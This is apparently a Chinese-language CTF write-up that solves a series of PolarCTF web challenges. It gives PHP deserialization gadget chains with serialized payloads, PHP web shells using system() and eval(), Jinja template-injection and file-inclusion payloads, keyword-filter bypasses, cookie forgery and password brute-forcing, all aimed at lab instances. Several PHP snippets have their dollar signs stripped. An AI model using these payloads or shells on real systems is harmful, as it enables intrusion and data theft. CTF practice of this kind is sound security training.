PolarCTF WEB 题解(06)
简单的链子
100 分 1 Polar币
2025年夏季个人挑战赛
<?php
class A {
public cmd="ls /";
function __destruct() {
if (isset(this->cmd)) {
system(this->cmd);
}
}
}a=new A();
payload=serialize(a);
echo $payload;
?>
O:1:"A":1:{s:3:"cmd";s:4:"ls /";}
?data=O:1:"A":1:{s:3:"cmd";s:9:"cat /flag";}
渗透之王
500 分 5 Polar币
2025年夏季个人挑战赛
dirsearch -u url
find:
/admin.php
/www.zip
网页上找到base64解密的polarctf字串作为zip文件解密
www.zip
得到密码字典。
爆破密码
user: admin
得到admin789密码。
?page=php://filter/convert.base64-encode/resource=hint.php
里面说有upload
?page=php://filter/convert.base64-encode/resource=upload.php
/polarctf/upload.php
上传目录地址:./uplado/gsl.php
/polarctf/uplado/gsl.php
pass=system(“ls ..”);
pass=system(“cat ../flag.txt”);
pass=system(“cat ../f*.txt”);
真假ECR
300 分 3 Polar币
2025年夏季个人挑战赛
?cmd=l\s
cainiao.txt flag.php heigouzi.php index.php she11.php
/heigouzi.php?cmd=ls
/cainiao.txt
/flag.php
KeY=aGVpZ291emk= key=answer USERID=p8Sjk58 DATA=2JSklNA= 如果这也不明白的话,加上后缀试一试
<?php
class Decryption{
public function decrypt(data,key){
char = '';str= '';
key = md5(key);
x = 0;data = base64_decode(data);len = strlen(data);l = strlen(key);
for(i=0;i<len;i++){
if(x == l){x = 0;
}
char .= substr(key,x,1);x++;
}
for(i = 0;i<len;i++){
str .= chr(ord(data{i}) - ord(char{i}));
}
echostr;
}
}
decrypt=new Decryption();decrypt->decrypt("2JSklNA=","answer");
?>
wanan
/she11.php
wanan=system("ls /");
wanan=system("cat /flag");
nukaka_ser2
300 分 3 Polar币
2025年夏季个人挑战赛
<?php
class FlagReader {
private logfile = "/tmp/log.txt";
protectedcontent = "<?php system(\_GET['cmd']); ?>";
}
class DataValidator {
}
class FakeDanger {
privatebuffer;
}
class VulnerableClass {
public logger;
privatedebugMode = true;
}
a=new VulnerableClass();a->logger=new FlagReader();
payload=serialize(a);
echo payload;
echo "\n";
echo base64_encode(payload);
?>
O:15:"VulnerableClass":2:{s:6:"logger";O:10:"FlagReader":2:{s:19:"FlagReaderlogfile";s:12:"/tmp/log.txt";s:10:"*content";s:30:"<?php system($_GET['cmd']); ?>";}s:26:"VulnerableClassdebugMode";b:1;}
TzoxNToiVnVsbmVyYWJsZUNsYXNzIjoyOntzOjY6ImxvZ2dlciI7TzoxMDoiRmxhZ1JlYWRlciI6Mjp7czoxOToiAEZsYWdSZWFkZXIAbG9nZmlsZSI7czoxMjoiL3RtcC9sb2cudHh0IjtzOjEwOiIAKgBjb250ZW50IjtzOjMwOiI8P3BocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4iO31zOjI2OiIAVnVsbmVyYWJsZUNsYXNzAGRlYnVnTW9kZSI7YjoxO30=
ghost_render
100 分 1 Polar币
2025年夏季个人挑战赛
{{7*7}}
{{ config.__class__.__init__.__globals__['os'].environ.get('FLAG_PATH') }}
{{ self.__init__.__globals__.__builtins__.open("/var/secret_flag").read() }}
rce命令执行系统
100 分 1 Polar币
2025年夏季个人挑战赛
/flag.txt
/f1ag.php
env XOR_KEY=Polar
easyRead
500 分 5 Polar币
2025年夏季个人挑战赛
<?php
class Read{
public source;
publicis;
public function __toString() {
return this->is->run("Read");
}
public function __wakeup(){
echo "Hello>>>".this->source;
}
}
class Help{
public source;
publicstr;
public function Printf(what){
echo "Hello>>>".what;
echo "<br>";
return this->str->source;
}
public function __call(name, arguments){this->Printf(name);
}
}
class Polar {
privatevar="system('cat /flag.php');";
public function getit(value){
eval(value);
}
public function __invoke(){
this->getit(this->var);
}
}
class Doit{
public is;
privatesource;
public function __construct(){
this->is = array();
}
public function __get(key){
vul =this->is;
return vul();
}
}read=new Read(); //a
read1=new Read(); //a1help=new Help(); //b
doit=new Doit(); //cpolar=new Polar(); //d
doit->is=polar;
help->str=doit;
read->is=help;
read1->source=read;
payload=serialize(read1);
//echo payload;
echo "\n";
echo urlencode(payload);
?>
?polar=O%3A4%3A%22Read%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Read%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A2%3A%22is%22%3BO%3A4%3A%22Help%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Doit%22%3A2%3A%7Bs%3A2%3A%22is%22%3BO%3A5%3A%22Polar%22%3A1%3A%7Bs%3A10%3A%22%00Polar%00var%22%3Bs%3A24%3A%22system%28%27cat+%2Fflag.php%27%29%3B%22%3B%7Ds%3A12%3A%22%00Doit%00source%22%3BN%3B%7D%7D%7Ds%3A2%3A%22is%22%3BN%3B%7D
命运石之门
100 分 1 Polar币
2025年夏季个人挑战赛
/password.txt
password=hunangleiSAMA0712&captcha=0000
huan9le1Sam0
你也玩铲吗
300 分 3 Polar币
2025年夏季个人挑战赛
dirsearch -u url
[00:05:58] 302 - 0B - /admin_login.php -> admin_login.html?error=access_denied
[00:06:15] 200 - 0B - /login.php
[00:06:15] 200 - 2KB - /login.html
[00:06:15] 200 - 1KB - /login_admin.html
[00:06:22] 200 - 0B - /register.php
[00:06:22] 200 - 2KB - /register.html
[00:06:28] 200 - 83B - /user.php
[00:06:28] 200 - 150B - /users.json
<!--偷偷告诉你:auth的值需要是user:admin,但它的检查逻辑可能进行了一些编码,比如:base64......-->
┌──(kali㉿kali)-[~]
└─echo "user:admin"|base64
dXNlcjphZG1pbgo=
└─ echo -n user:admin|base64
dXNlcjphZG1pbg==
(要加-n,否则多了回车,不对了)
在线base64:
dXNlcjphZG1pbg==
增加cookie:
auth=dXNlcjphZG1pbg
访问:/admin_login.php
俄罗斯方块
100 分 1 Polar币
2025年秋季个人挑战赛
略
狗黑子的eval
500 分 5 Polar币
2025年秋季个人挑战赛
dirsearch -u url
/flag.php
tips:gouheizigouheizi=2gouheizi //不要勾八
<!--payload.php 狗黑子数数喜欢从1开始,不喜欢0 -->
/shell.php
/payload.php
<?php
//gou=a,gougou=b;
gou1="12gou";gou5="16gou";gou4="5gou";gou6="gou";
gou2="22gou";gou3="15gou";
gou1="l";gou5="p";
gou4="e";gou6="a";
gou2="v";gou3="o";
gou7="c3Rnbw==";gou7= base64_decode(gou7);gou8='-5pys572R6aG15piv5LiA5Liq5zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NzCDmiJbogIXku44gQmFzzTY0IOi9rOaIkOaIkOWtl+espuS4s';
gou13=gou8{34};gou17=gou8{10};gou12=gou8{15};gou10=gou8{105};gou14=gou12;gou11=gou8{51};
gou=gou4.gou2.gou6.gou1.gou5.gou3.gou7.gou8.gou11.gou13.gou17.gou12.gou10.gou14;
echogou;
//remove gou8g=gou4.gou2.gou6.gou1.gou5.gou3.gou7.gou11.gou13.gou17.gou12.gou10.gou14;
echo "\n";
echog;
?>
output :
evalpostgo-5pys572R6aG15piv5LiA5Liq5zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NzCDmiJbogIXku44gQmFzzTY0IOi9rOaIkOaIkOWtl+espuS4subaizi
evalpostgoubaizi
eval post goubaizi
hackbar 运行: goubaizi=system(“ls “); 没有错误,但也没有输出。
蚁剑登录后没有东西,需要插件:
上代理,进入插件市场,安装脚本执行插件。
执行php脚本:
system('find / -name "flag*"');
system('cat /etc/flag');
PolarCMS
300 分 3 Polar币
2025年秋季个人挑战赛 tip:试试java文本框
markdown
${exec("ls /")}
${exec("cat /flag")}
代码审计easy
100 分 1 Polar币
2025年秋季个人挑战赛
/vulnerable.php?page=../flag.txt
Squirtle的论坛
300 分 3 Polar币
2025年秋季个人挑战赛
2025.10.1 10:20–27
半天没有启动,可能靶场出问题了,放一放。
2025.10.1 21:20–27 再次申请实例,半天也没有进去。剩余时间:3229秒 没能进去。
VIP
100 分 1 Polar币
2025年秋季个人挑战赛
以前做过的,待补充
狗黑子的舔狗日记
300 分 3 Polar币
2025年秋季个人挑战赛
dirsearch -u url
/flag.php
/www.zip
get password.txt file
?page=php://filter/convert.base64-encode/resource=index.php
┌──(kali㉿kali)-[/tmp]
└─echo 'ZmxhZ3vlpbPnpZ7nmoTlkI3lrZdtZDXliqDlr4Z9CnRpcHMgIOWls+elnuW+ruS/oeWPt++8mm52c2hlbg=='|base64 -d
flag{女神的名字md5加密}
tips 女神微信号:nvshen
/src/denglu.php
拦截,利用已有密码本爆破,user: nvshen
username=nvshen&password=nvshen345
登录,发个消息,收到回复:
好的,柳茹烟女神❤️
狗黑子
微信号: gouheizi666
└─ echo -n "柳茹烟"|md5sum
aa1e3ea993e122de5de6e387db6c8609 -
flag{aa1e3ea993e122de5de6e387db6c8609}
狗黑子的登录
500 分 5 Polar币
2025年秋季个人挑战赛
┌──(root㉿kali)-[/tmp/ctf]
└─# pipx run githacker --url http://0f5b23d4-c636-4bb2-bc88-5865b9653fcb.www.polarctf.com:8090/ --output-folder .
阅读源码,发现打开隐藏界面的参数。
/index.php
POST
seclients_can_register=1
打开注册界面
注册用户登录进去,进入admin.php
POST
seclients_can_upload=1
打开
上传200k大的gif, 改名php
<?php
eval($_POST["pass"]);
?>
adsfjkjjakdsljsdakldsjaklsagdjldsagkjdasfjkjdsfkakdsflakdsfkjfdsjak
...
FILL UNTILL length > 220,000 bytes
/uploads/big.php
登录蚁剑,/flag.
ZGZH
500 分 5 Polar币
2025年秋季个人挑战赛 tip:反序列化,把不需要的删掉
dirsearch -u url
/flag.php
信息中得到
/pass.php
857.00E+0000
老刘的小店
500 分 5 Polar币
2025年秋季个人挑战赛
创建2个账号,
一个给另一个转很多coins,
登录接收的一个,
得到新账号和密码提示
adminpolar 123456
源代码中得到一个命令执行漏洞信息:
添加\ 绕过关键字过滤。
/polar.php?id=l\s
/polar.php?id=l\s ../../..
/polar.php?id=c\at ../../../fl\ag